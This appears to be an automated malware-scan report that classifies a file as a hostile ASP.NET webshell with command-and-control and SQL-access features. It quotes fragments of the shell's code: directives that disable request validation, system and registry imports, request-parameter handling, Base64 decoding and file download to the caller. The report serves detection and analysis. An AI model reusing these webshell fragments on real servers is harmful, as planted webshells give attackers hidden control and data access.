Hostile ^92% Download

08416412301d9f719f44ebfc4db37ebf0e9ff0282e4c6bd4b99f6e9a5fd31969.unknown

ASP webshell with C2 features

ASP webshell giving SQL access. Might also be a dual use tool.Creates DOM element

SHA-25608416412301d9f719f44ebfc4db37ebf0e9ff0282e4c6bd4b99f6e9a5fd31969

Evidence

ASP webshell giving SQL access. Might also be a dual use tool. lines 1–14

1<%@ Page Language="C#"   trace="false" EnableViewStateMac="false"  validateRequest="false"  enableEventValidation="false" %>
2<%@ import Namespace="System.Collections.Generic"%> 
3<%@ import Namespace="System.Web.Services"%> 
4<%@ import Namespace="System.Web"%> 
5<%@ import Namespace="System.IO"%> 
6<%@ import Namespace="System"%> 
7<%@ import Namespace="System.Net" %>
8<%@ import Namespace="System.Diagnostics"%> 
9<%@ Import Namespace="System.Data.SqlClient"%>
10<%@ import Namespace="Microsoft.Win32"%>
11<%@ import Namespace="System.Management"%>
12<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
13<!DOCTYPE html>
14<center><img src="https://i.ibb.co/873fMSJ/ …

Matches 'HttpContexts' lines 238–244

2…        }
      msgs.Text = "";        
      
     if (Request.QueryString["Name"] != null || Request.QueryString["Name"] != "")
     {
         string temp = Request.QueryString["Name"];
      …

Reads an ASP.NET request parameter lines 264–271

13… IsPostBack)
      {
         
          string evarg = Request["__EVENTTARGET"];
          string args = Request["__ARGS"];
          
        //  Page.Title = evarg;
          if  …

.NET FromBase64String method reference lines 518–521

48… coder.GetDecoder();
          byte[] todecode_byte = Convert.FromBase64String(data);
          int charCount = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length);
          char[] decode …

ASP.NET Response.Write response sink lines 812–817

13… Page.Response.ContentType = "application/unknown";
          Response.WriteFile(fs.FullName);
          Page.Response.Flush();
          Page.Response.Close();
          Response.End();
      …